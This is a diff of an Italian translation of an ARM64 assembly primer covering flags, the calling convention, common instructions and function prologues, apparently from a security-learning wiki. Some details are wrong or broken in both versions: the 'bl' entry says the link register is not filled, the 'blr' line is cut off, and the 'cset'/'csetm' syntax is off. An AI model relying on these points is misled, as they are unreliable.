fanno, e altre che hanno un suffisso s come **`ADDS`** lo fanno anche. +> Non tutte le istruzioni aggiornano questi flag. Alcune come **`CMP`** o **`TST`** lo fanno, e altre che hanno il suffisso s come **`ADDS`** lo fanno. -- Il flag **larghezza registro corrente (`nRW`)**: Se il flag ha il valore 0, il programma verrà eseguito nello stato di esecuzione AArch64 una volta ripreso. -- Il **Livello di Eccezione** (**`EL`**): Un programma regolare che gira in EL0 avrà il valore 0. -- Il flag di **single stepping** (**`SS`**): Utilizzato dai debugger per eseguire un passo singolo impostando il flag SS a 1 all'interno di **`SPSR_ELx`** attraverso un'eccezione. Il programma eseguirà un passo e genererà un'eccezione di passo singolo. -- Il flag di stato di **eccezione illegale** (**`IL`**): Viene utilizzato per contrassegnare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido, questo flag è impostato a 1 e il processore attiva un'eccezione di stato illegale. -- I flag **`DAIF`**: Questi flag consentono a un programma privilegiato di mascherare selettivamente alcune eccezioni esterne. -- Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. Il **`I`** configura per rispondere alle **Richieste di Interruzione Hardware** (IRQ). e il F è relativo alle **Richieste di Interruzione Veloce** (FIR). -- I flag di selezione del puntatore dello stack (**`SPS`**): I programmi privilegiati che girano in EL1 e superiori possono passare tra l'uso del proprio registro del puntatore dello stack e quello del modello utente (ad es. tra `SP_EL1` e `EL0`). Questo passaggio viene eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0. +- Il flag della **larghezza corrente del registro (`nRW`)**: Se il flag ha valore 0, il programma eseguirà nello stato di esecuzione AArch64 una volta ripreso. +- Il corrente **Exception Level** (**`EL`**): Un programma regolare che gira in EL0 avrà valore 0 +- Il flag di **single stepping** (**`SS`**): Usato dai debugger per eseguire passo-passo impostando il flag SS a 1 dentro **`SPSR_ELx`** tramite un'eccezione. Il programma eseguirà un passo e genererà un'eccezione di singolo passo. +- Il flag di stato di **illegal exception** (**`IL`**): Viene usato per marcare quando un software privilegiato esegue un trasferimento di livello di eccezione non valido; questo flag viene impostato a 1 e il processore genera un'eccezione di stato illegale. +- I flag **`DAIF`**: Questi flag permettono a un programma privilegiato di mascherare selettivamente certe eccezioni esterne. +- Se **`A`** è 1 significa che verranno innescate **asynchronous aborts**. **`I`** configura la risposta alle richieste di Interrupt esterni (IRQs). e la F è relativa alle **Fast Interrupt Requests** (FIRs). +- I flag di selezione dello stack pointer (**`SPS`**): I programmi privilegiati che girano in EL1 e oltre possono passare dall'uso del proprio stack pointer register a quello del modello utente (es. tra `SP_EL1` e `EL0`). Questo switching è eseguito scrivendo nel registro speciale **`SPSel`**. Questo non può essere fatto da EL0. -## **Convenzione di Chiamata (ARM64v8)** +## **Calling Convention (ARM64v8)** -La convenzione di chiamata ARM64 specifica che i **primi otto parametri** a una funzione vengono passati nei registri **`x0` attraverso `x7`**. I parametri **aggiuntivi** vengono passati nello **stack**. Il **valore di ritorno** viene passato indietro nel registro **`x0`**, o in **`x1`** se è lungo **128 bit**. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** tra le chiamate di funzione. +La calling convention ARM64 stabilisce che i **primi otto parametri** di una funzione sono passati nei registri **`x0` fino a `x7`**. I parametri **aggiuntivi** sono passati sul **lo stack**. Il valore di **ritorno** è passato indietro nel registro **`x0`**, o anche in **`x1`** se è lungo **128 bit**. I registri **`x19`** a **`x30`** e **`sp`** devono essere **preservati** attraverso le chiamate di funzione. -Quando si legge una funzione in assembly, cercare il **prologo e l'epilogo della funzione**. Il **prologo** di solito comporta **salvare il puntatore di frame (`x29`)**, **impostare** un **nuovo puntatore di frame**, e **allocare spazio nello stack**. L'**epilogo** di solito comporta **ripristinare il puntatore di frame salvato** e **ritornare** dalla funzione. +Quando si legge una funzione in assembly, cercare il **prologo** e l'**epilogo** della funzione. Il **prologo** di solito coinvolge il **salvataggio del frame pointer (`x29`)**, la **configurazione** di un **nuovo frame pointer**, e l**'allocazione di spazio sullo stack**. L'**epilogo** di solito implica il **ripristino del frame pointer salvato** e il **ritorno** dalla funzione. -### Convenzione di Chiamata in Swift +### Calling Convention in Swift -Swift ha la propria **convenzione di chiamata** che può essere trovata in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift ha la sua **calling convention** che può essere trovata in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Istruzioni Comuni (ARM64v8)** +## **Common Instructions (ARM64v8)** -Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il **registro di destinazione** dove verrà memorizzato il risultato, e **`src1`** e **`src2`** sono i **registri sorgente**. I valori immediati possono anche essere utilizzati al posto dei registri sorgente. +Le istruzioni ARM64 generalmente hanno il **formato `opcode dst, src1, src2`**, dove **`opcode`** è l'**operazione** da eseguire (come `add`, `sub`, `mov`, ecc.), **`dst`** è il registro **destinazione** dove il risultato sarà memorizzato, e **`src1`** e **`src2`** sono i registri **sorgente**. Possono essere usati anche valori immediati al posto dei registri sorgente. - **`mov`**: **Sposta** un valore da un **registro** a un altro. -- Esempio: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`. +- Example: `mov x0, x1` — Questo sposta il valore da `x1` a `x0`. - **`ldr`**: **Carica** un valore dalla **memoria** in un **registro**. -- Esempio: `ldr x0, [x1]` — Questo carica un valore dalla posizione di memoria puntata da `x1` in `x0`. -- **Modalità offset**: Un offset che influisce sul puntatore di origine è indicato, per esempio: -- `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8. -- `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (indice) \* 4. -- **Modalità pre-indicizzata**: Questo applicherà calcoli all'origine, otterrà il risultato e memorizzerà anche la nuova origine nell'origine. -- `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8`. -- `str lr, [sp, #-4]!`, Memorizza il registro di link in sp e aggiorna il registro sp. -- **Modalità post-indicizzata**: Questo è simile al precedente ma l'indirizzo di memoria viene accesso e poi l'offset viene calcolato e memorizzato. -- `ldr x0, [x1], #8`, carica `x1` in `x0` e aggiorna x1 con `x1 + 8`. -- **Indirizzamento relativo al PC**: In questo caso l'indirizzo da caricare è calcolato rispetto al registro PC. -- `ldr x1, =_start`, Questo caricherà l'indirizzo dove inizia il simbolo `_start` in x1 relativo all'attuale PC. +- Example: `ldr x0, [x1]` — Questo carica un valore dall'indirizzo di memoria puntato da `x1` in `x0`. +- **Offset mode**: Un offset che interessa il puntatore di origine è indicato, per esempio: +- `ldr x2, [x1, #8]`, questo caricherà in x2 il valore da x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, questo caricherà in x2 un oggetto dall'array x0, dalla posizione x1 (index) * 4 +- **Pre-indexed mode**: Questo applicherà i calcoli all'origine, ottiene il risultato e inoltre memorizza la nuova origine nell'origine. +- `ldr x2, [x1, #8]!`, questo caricherà `x1 + 8` in `x2` e memorizzerà in x1 il risultato di `x1 + 8` +- `str lr, [sp, #-4]!`, Memorizza il link register in sp e aggiorna il registro sp +- **Post-index mode**: Questo è come il precedente ma l'indirizzo di memoria viene accesso e poi l'offset viene calcolato e memorizzato. +- `ldr x0, [x1], #8`, carica `x1` in `x0` e aggiorna x1 con `x1 + 8` +- **PC-relative addressing**: In questo caso l'indirizzo da caricare è calcolato relativamente al registro PC +- `ldr x1, =_start`, Questo caricherà in x1 l'indirizzo dove inizia il simbolo `_start` relativo al PC corrente. - **`str`**: **Memorizza** un valore da un **registro** nella **memoria**. -- Esempio: `str x0, [x1]` — Questo memorizza il valore in `x0` nella posizione di memoria puntata da `x1`. -- **`ldp`**: **Carica coppia di registri**. Questa istruzione **carica due registri** da **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro. -- Esempio: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle posizioni di memoria in `x2` e `x2 + 8`, rispettivamente. -- **`stp`**: **Memorizza coppia di registri**. Questa istruzione **memorizza due registri** in **posizioni di memoria** consecutive. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro. -- Esempio: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp` e `sp + 8`, rispettivamente. -- `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle posizioni di memoria in `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`. -- **`add`**: **Aggiunge** i valori di due registri e memorizza il risultato in un registro. -- Sintassi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] +- Example: `str x0, [x1]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria puntato da `x1`. +- **`ldp`**: **Load Pair of Registers**. Questa istruzione **carica due registri** da **locazioni di memoria consecutive**. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro. +- Example: `ldp x0, x1, [x2]` — Questo carica `x0` e `x1` dalle locazioni di memoria a `x2` e `x2 + 8`, rispettivamente. +- **`stp`**: **Store Pair of Registers**. Questa istruzione **memorizza due registri** in **locazioni di memoria consecutive**. L'indirizzo di memoria è tipicamente formato aggiungendo un offset al valore in un altro registro. +- Example: `stp x0, x1, [sp]` — Questo memorizza `x0` e `x1` nelle locazioni di memoria a `sp` e `sp + 8`, rispettivamente. +- `stp x0, x1, [sp, #16]!` — Questo memorizza `x0` e `x1` nelle locazioni di memoria a `sp+16` e `sp + 24`, rispettivamente, e aggiorna `sp` con `sp+16`. +- **`add`**: **Somma** i valori di due registri e memorizza il risultato in un registro. +- Syntax: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Destinazione - Xn2 -> Operando 1 - Xn3 | #imm -> Operando 2 (registro o immediato) -- \[shift #N | RRX] -> Esegui uno shift o chiama RRX -- Esempio: `add x0, x1, x2` — Questo aggiunge i valori in `x1` e `x2` insieme e memorizza il risultato in `x0`. -- `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shifter 12 volte) -> 1 0000 0000 0000 0000. -- **`adds`** Questo esegue un `add` e aggiorna i flag. +- \[shift #N | RRX] -> Esegue uno shift o RRX +- Example: `add x0, x1, x2` — Questo somma i valori in `x1` e `x2` e memorizza il risultato in `x0`. +- `add x5, x5, #1, lsl #12` — Questo equivale a 4096 (un 1 shiftato 12 volte) -> 1 0000 0000 0000 0000 +- **`adds`** Questo esegue un `add` e aggiorna i flag - **`sub`**: **Sottrae** i valori di due registri e memorizza il risultato in un registro. -- Controlla la **sintassi di `add`**. -- Esempio: `sub x0, x1, x2` — Questo sottrae il valore in `x2` da `x1` e memorizza il risultato in `x0`. -- **`subs`** Questo è simile a sub ma aggiorna il flag. +- Vedi la **sintassi** di **`add`**. +- Example: `sub x0, x1, x2` — Questo sottrae il valore in `x2` da `x1` e memorizza il risultato in `x0`. +- **`subs`** Simile a sub ma aggiorna i flag - **`mul`**: **Moltiplica** i valori di **due registri** e memorizza il risultato in un registro. -- Esempio: `mul x0, x1, x2` — Questo moltiplica i valori in `x1` e `x2` e memorizza il risultato in `x0`. +- Example: `mul x0, x1, x2` — Questo moltiplica i valori in `x1` e `x2` e memorizza il risultato in `x0`. - **`div`**: **Divide** il valore di un registro per un altro e memorizza il risultato in un registro. -- Esempio: `div x0, x1, x2` — Questo divide il valore in `x1` per `x2` e memorizza il risultato in `x0`. +- Example: `div x0, x1, x2` — Questo divide il valore in `x1` per `x2` e memorizza il risultato in `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Shift logico a sinistra**: Aggiungi 0s dalla fine spostando gli altri bit in avanti (moltiplica per n-volte 2). -- **Shift logico a destra**: Aggiungi 1s all'inizio spostando gli altri bit all'indietro (dividi per n-volte 2 in non firmato). -- **Shift aritmetico a destra**: Come **`lsr`**, ma invece di aggiungere 0s se il bit più significativo è 1, **si aggiungono 1s** (dividi per n-volte 2 in firmato). -- **Ruota a destra**: Come **`lsr`** ma qualsiasi cosa venga rimossa da destra viene aggiunta a sinistra. -- **Ruota a destra con estensione**: Come **`ror`**, ma con il flag di riporto come "bit più significativo". Quindi il flag di riporto viene spostato al bit 31 e il bit rimosso al flag di riporto. -- **`bfm`**: **Bit Filed Move**, queste operazioni **copia i bit `0...n`** da un valore e li posiziona nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la **quantità di rotazione a destra**. -- Spostamento di bit: `BFM Xd, Xn, #r` -- Spostamento di bit firmato: `SBFM Xd, Xn, #r, #s` -- Spostamento di bit non firmato: `UBFM Xd, Xn, #r, #s` -- **Estrai e Inserisci Bitfield:** Copia un campo di bit da un registro e lo copia in un altro registro. -- **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 dal 3° bit di X1. -- **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1. -- **`SBFIZ X1, X2, #3, #4`** Estende il segno di 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra. -- **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2, estende il segno e posiziona il risultato in X1. -- **`UBFIZ X1, X2, #3, #4`** Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione del bit 3 azzerando i bit a destra. -- **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2 e posiziona il risultato esteso a zero in X1. -- **Estendi il segno a X:** Estende il segno (o aggiunge solo 0s nella versione non firmata) di un valore per poter eseguire operazioni con esso: -- **`SXTB X1, W2`** Estende il segno di un byte **da W2 a X1** (`W2` è la metà di `X2`) per riempire i 64 bit. -- **`SXTH X1, W2`** Estende il segno di un numero a 16 bit **da W2 a X1** per riempire i 64 bit. -- **`SXTW X1, W2`** Estende il segno di un byte **da W2 a X1** per riempire i 64 bit. -- **`UXTB X1, W2`** Aggiunge 0s (non firmato) a un byte **da W2 a X1** per riempire i 64 bit. -- **`extr`:** Estrae bit da una **coppia di registri specificata concatenata**. -- Esempio: `EXTR W3, W2, W1, #3` Questo **concatenerà W1+W2** e otterrà **dal bit 3 di W2 fino al bit 3 di W1** e lo memorizzerà in W3. +- **Logical shift left**: Aggiunge 0 dalla fine spostando gli altri bit in avanti (moltiplica per 2^n) +- **Logical shift right**: Aggiunge 0 all'inizio spostando gli altri bit indietro (divide per 2^n in unsigned) +- **Arithmetic shift right**: Come **`lsr`**, ma invece di aggiungere 0 se il bit più significativo è 1, vengono aggiunti 1 (divide per 2^n in signed) +- **Rotate right**: Come **`lsr`** ma ciò che viene rimosso dalla destra viene aggiunto a sinistra +- **Rotate Right with Extend**: Come **`ror`**, ma con il carry flag come "bit più significativo". Quindi il carry flag viene spostato nel bit 31 e il bit rimosso va nel carry flag. +- **`bfm`**: **Bit Filed Move**, queste operazioni **copiano bit `0...n`** da un valore e li posizionano nelle posizioni **`m..m+n`**. Il **`#s`** specifica la **posizione del bit più a sinistra** e **`#r`** la quantità di rotazione a destra. +- Bitfiled move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Copia un bitfield da un registro e lo copia in un altro registro. +- **`BFI X1, X2, #3, #4`** Inserisce 4 bit da X2 a partire dal 3° bit in X1 +- **`BFXIL X1, X2, #3, #4`** Estrae dal 3° bit di X2 quattro bit e li copia in X1 +- **`SBFIZ X1, X2, #3, #4`** Estende con segno 4 bit da X2 e li inserisce in X1 a partire dalla posizione bit 3 azzerando i bit a destra +- **`SBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2, li estende con segno e posiziona il risultato in X1 +- **`UBFIZ X1, X2, #3, #4`** Estende a zero 4 bit da X2 e li inserisce in X1 a partire dalla posizione bit 3 azzerando i bit a destra +- **`UBFX X1, X2, #3, #4`** Estrae 4 bit a partire dal bit 3 da X2 e posiziona il risultato zero-extended in X1. +- **Sign Extend To X:** Estende il segno (o aggiunge solo 0 nella versione unsigned) di un valore per poter eseguire operazioni con esso: +- **`SXTB X1, W2`** Estende il segno di un byte **da W2 a X1** (`W2` è metà di `X2`) per riempire i 64 bit +- **`SXTH X1, W2`** Estende il segno di un numero a 16 bit **da W2 a X1** per riempire i 64 bit +- **`SXTW X1, W2`** Estende il segno di un valore da **W2 a X1** per riempire i 64 bit +- **`UXTB X1, W2`** Aggiunge 0 (unsigned) a un byte **da W2 a X1** per riempire i 64 bit +- **`extr`:** Estrae bit da una coppia specificata di registri concatenati. +- Example: `EXTR W3, W2, W1, #3` Questo concatenerà W1+W2 e prenderà **dal bit 3 di W2 fino al bit 3 di W1** e lo memorizzerà in W3. - **`cmp`**: **Confronta** due registri e imposta i flag di condizione. È un **alias di `subs`** impostando il registro di destinazione al registro zero. Utile per sapere se `m == n`. -- Supporta la **stessa sintassi di `subs`**. -- Esempio: `cmp x0, x1` — Questo confronta i valori in `x0` e `x1` e imposta i flag di condizione di conseguenza. -- **`cmn`**: **Confronta l'operando negativo**. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`. +- Supporta la **stessa sintassi di `subs`** +- Example: `cmp x0, x1` — Questo confronta i valori in `x0` e `x1` e imposta di conseguenza i flag di condizione. +- **`cmn`**: **Compare negative** operando. In questo caso è un **alias di `adds`** e supporta la stessa sintassi. Utile per sapere se `m == -n`. - **`ccmp`**: Confronto condizionale, è un confronto che verrà eseguito solo se un confronto precedente è stato vero e imposterà specificamente i bit nzcv. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func. -- Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era un `NE`**, se non lo era i bit `nzcv` saranno impostati a 0 (il che non soddisferà il confronto `blt`). +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta a func +- Questo perché **`ccmp`** verrà eseguito solo se il **precedente `cmp` era `NE`**, se non lo era i bit `nzcv` saranno impostati a 0 (il che non soddisferà il confronto `blt`). - Questo può anche essere usato come `ccmn` (stessa cosa ma negativa, come `cmp` vs `cmn`). -- **`tst`**: Controlla se uno dei valori del confronto è entrambi 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno dei bit del registro indicato nel valore è 1. -- Esempio: `tst X1, #7` Controlla se uno dei ultimi 3 bit di X1 è 1. -- **`teq`**: Operazione XOR scartando il risultato. -- **`b`**: Salto incondizionato. -- Esempio: `b myFunction`. -- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che necessitano di tornare indietro). -- **`bl`**: **Salto** con link, utilizzato per **chiamare** una **sottoprocedura**. Memorizza l'**indirizzo di ritorno in `x30`**. -- Esempio: `bl myFunction` — Questo chiama la funzione `myFunction` e memorizza l'indirizzo di ritorno in `x30`. -- Nota che questo non riempirà il registro di link con l'indirizzo di ritorno (non adatto per chiamate a sottoprocedure che necessitano di tornare indietro). -- **`blr`**: **Salto** con Link a Registro, utilizzato per **chiamare** una **sottoprocedura** dove il target è **specificato** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`. -- Esempio: `blr x1` — Questo chiama la funzione il cui indirizzo è contenuto in `x1` e memorizza l'indirizzo di ritorno in `x30`. -- **`ret`**: **Ritorna** dalla **sottoprocedura**, tipicamente utilizzando l'indirizzo in **`x30`**. -- Esempio: `ret` — Questo ritorna dalla corrente sottoprocedura utilizzando l'indirizzo di ritorno in `x30`. -- **`b.`**: Salti condizionali. -- **`b.eq`**: **Salta se uguale**, basato sull'istruzione `cmp` precedente. -- Esempio: `b.eq label` — Se l'istruzione `cmp` precedente ha trovato due valori uguali, questo salta a `label`. -- **`b.ne`**: **Salta se non uguale**. Questa istruzione controlla i flag di condizione (che sono stati impostati da un'istruzione di confronto precedente), e se i valori confrontati non erano uguali, salta a un'etichetta o indirizzo. -- Esempio: Dopo un'istruzione `cmp x0, x1`, `b.ne label` — Se i valori in `x0` e `x1` non erano uguali, questo salta a `label`. -- **`cbz`**: **Confronta e Salta su Zero**. Questa istruzione confronta un registro con zero, e se sono uguali, salta a un'etichetta o indirizzo. -- Esempio: `cbz x0, label` — Se il valore in `x0` è zero, questo salta a `label`. -- **`cbnz`**: **Confronta e Salta su Non Zero**. Questa istruzione confronta un registro con zero, e se non sono uguali, salta a un'etichetta o indirizzo. -- Esempio: `cbnz x0, label` — Se il valore in `x0` è non zero, questo salta a `label`. -- **`tbnz`**: Testa il bit e salta se non zero. -- Esempio: `tbnz x0, #8, label`. -- **`tbz`**: Testa il bit e salta se zero. -- Esempio: `tbz x0, #8, label`. -- **Operazioni di selezione condizionale**: Queste sono operazioni il cui comportamento varia a seconda dei bit condizionali. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se vero, X0 = X1, se falso, X0 = X2. -- `csinc Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = Xm + 1. -- `cinc Xd, Xn, cond` -> Se vero, Xd = Xn + 1, se falso, Xd = Xn. -- `csinv Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = NOT(Xm). -- `cinv Xd, Xn, cond` -> Se vero, Xd = NOT(Xn), se falso, Xd = Xn. -- `csneg Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = - Xm. -- `cneg Xd, Xn, cond` -> Se vero, Xd = - Xn, se falso, Xd = Xn. -- `cset Xd, Xn, Xm, cond` -> Se vero, Xd = 1, se falso, Xd = 0. -- `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \, se falso, Xd = 0. -- **`adrp`**: Calcola l'**indirizzo della pagina di un simbolo** e lo memorizza in un registro. -- Esempio: `adrp x0, symbol` — Questo calcola l'indirizzo della pagina di `symbol` e lo memorizza in `x0`. -- **`ldrsw`**: **Carica** un valore **firmato a 32 bit** dalla memoria e **estende il segno a 64** bit. -- Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato a 32 bit dalla posizione di memoria puntata da `x1`, estende il segno a 64 bit e lo memorizza in `x0`. -- **`stur`**: **Memorizza un valore di registro in una posizione di memoria**, utilizzando un offset da un altro registro. -- Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria che è 4 byte maggiore dell'indirizzo attualmente in `x1`. -- **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle chiamate di sistema del **kernel**. +- **`tst`**: Controlla se alcuni dei valori del confronto sono entrambi 1 (funziona come un ANDS senza memorizzare il risultato da nessuna parte). È utile per controllare un registro con un valore e verificare se uno qualsiasi dei bit indicati è 1. +- Example: `tst X1, #7` Controlla se uno degli ultimi 3 bit di X1 è 1 +- **`teq`**: Operazione XOR scartando il risultato +- **`b`**: Branch incondizionato +- Example: `b myFunction` +- Nota che questo non popolerà il link register con l'indirizzo di ritorno (non adatto per chiamate a sottoroutine che devono ritornare) +- **`bl`**: **Branch** with link, usato per **chiamare** una **subroutine**. Memorizza l'indirizzo di ritorno in **`x30`**. +- Example: `bl myFunction` — Questo chiama la funzione `myFunction` e memorizza l'indirizzo di ritorno in `x30`. +- Nota che questo non popolerà il link register con l'indirizzo di ritorno (non adatto per chiamate a sottoroutine che devono ritornare) +- **`blr`**: **Branch** with Link to Register, usato per **chiamare** una **subroutine** dove la destinazione è **specificata** in un **registro**. Memorizza l'indirizzo di ritorno in `x30`. (Questo è +- Example: `blr x1` — Questo chiama la funzione il cui indirizzo è contenuto in `x1` e memorizza l'indirizzo di ritorno in `x30`. +- **`ret`**: **Ritorna** dalla **subroutine**, tipicamente usando l'indirizzo in **`x30`**. +- Example: `ret` — Questo ritorna dalla subroutine corrente usando l'indirizzo di ritorno in `x30`. +- **`b.`**: Branch condizionali +- **`b.eq`**: **Branch se uguale**, basato sulla precedente istruzione `cmp`. +- Example: `b.eq label` — Se la precedente istruzione `cmp` ha trovato due valori uguali, salta a `label`. +- **`b.ne`**: **Branch se non uguale**. Questa istruzione controlla i flag di condizione (impostati da un precedente confronto), e se i valori confrontati non erano uguali, esegue il branch a un'etichetta o indirizzo. +- Example: Dopo un'istruzione `cmp x0, x1`, `b.ne label` — Se i valori in `x0` e `x1` non erano uguali, salta a `label`. +- **`cbz`**: **Compare and Branch on Zero**. Questa istruzione confronta un registro con zero, e se sono uguali, esegue il branch a un'etichetta o indirizzo. +- Example: `cbz x0, label` — Se il valore in `x0` è zero, salta a `label`. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Questa istruzione confronta un registro con zero, e se non sono uguali, esegue il branch a un'etichetta o indirizzo. +- Example: `cbnz x0, label` — Se il valore in `x0` non è zero, salta a `label`. +- **`tbnz`**: Test di un bit e branch se non zero +- Example: `tbnz x0, #8, label` +- **`tbz`**: Test di un bit e branch se zero +- Example: `tbz x0, #8, label` +- **Operazioni di selezione condizionale**: Sono operazioni il cui comportamento varia a seconda dei bit condizionali. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se vero, X0 = X1, se falso, X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Se vero, Xd = Xn + 1, se falso, Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Se vero, Xd = NOT(Xn), se falso, Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = - Xm +- `cneg Xd, Xn, cond` -> Se vero, Xd = - Xn, se falso, Xd = Xn +- `cset Xd, Xn, Xm, cond` -> Se vero, Xd = 1, se falso, Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \, se falso, Xd = 0 +- **`adrp`**: Calcola l'**indirizzo di pagina di un simbolo** e lo memorizza in un registro. +- Example: `adrp x0, symbol` — Questo calcola l'indirizzo di pagina di `symbol` e lo memorizza in `x0`. +- **`ldrsw`**: **Carica** un valore **signed 32-bit** dalla memoria e lo **sign-extend** a 64 bit. +- Example: `ldrsw x0, [x1]` — Questo carica un valore signed 32-bit dall'indirizzo di memoria puntato da `x1`, lo estende con segno a 64 bit e lo memorizza in `x0`. +- **`stur`**: **Memorizza** il valore di un registro in una locazione di memoria, usando un offset da un altro registro. +- Example: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria che è 4 byte maggiore dell'indirizzo attualmente in `x1`. +- **`svc`** : Esegue una **system call**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa da user mode a kernel mode** e salta a una locazione di memoria specifica dove è presente il codice di gestione delle system call del **kernel**. -- Esempio: +- Example: ```armasm -mov x8, 93 ; Carica il numero di chiamata di sistema per l'uscita (93) nel registro x8. -mov x0, 0 ; Carica il codice di stato di uscita (0) nel registro x0. -svc 0 ; Effettua la chiamata di sistema. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Prologo della Funzione** +### **Function Prologue** -1. **Salva il registro di link e il puntatore di frame nello stack**: +1. **Salvare il link register e il frame pointer nello stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Imposta il nuovo puntatore di frame**: `mov x29, sp` (imposta il nuovo puntatore di frame per la funzione corrente) -3. **Alloca spazio nello stack per le variabili locali** (se necessario): `sub sp, sp, ` (dove `` è il numero di byte necessari) +2. **Imposta il nuovo frame pointer**: `mov x29, sp` (imposta il nuovo frame pointer per la funzione corrente) +3. **Alloca spazio sullo stack per le variabili locali** (se necessario): `sub sp, sp, ` (dove `` è il numero di byte necessari) -### **Epilogo della Funzione** +### **Epilogo della funzione** -1. **Dealloca le variabili locali (se ne erano state allocate)**: `add sp, sp, ` -2. **Ripristina il registro di collegamento e il puntatore di frame**: +1. **Dealloca le variabili locali (se ne sono state allocate)**: `add sp, sp, ` +2. **Ripristina il link register e il frame pointer**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (restituisce il controllo al chiamante utilizzando l'indirizzo nel registro di collegamento) +3. **Return**: `ret` (restituisce il controllo al chiamante usando l'indirizzo nel link register) -## Stato di Esecuzione AARCH32 +## AARCH32 Execution State -Armv8-A supporta l'esecuzione di programmi a 32 bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare da uno all'altro tramite **`interworking`**.\ -I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit meno privilegiato.\ -Si noti che la transizione da 64 bit a 32 bit avviene con una diminuzione del livello di eccezione (ad esempio, un programma a 64 bit in EL1 che attiva un programma in EL0). Questo viene fatto impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread di processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza il **CPSR** dei programmi **`AArch32`**. Poi, il processo privilegiato chiama l'istruzione **`ERET`** affinché il processore transiti a **`AArch32`** 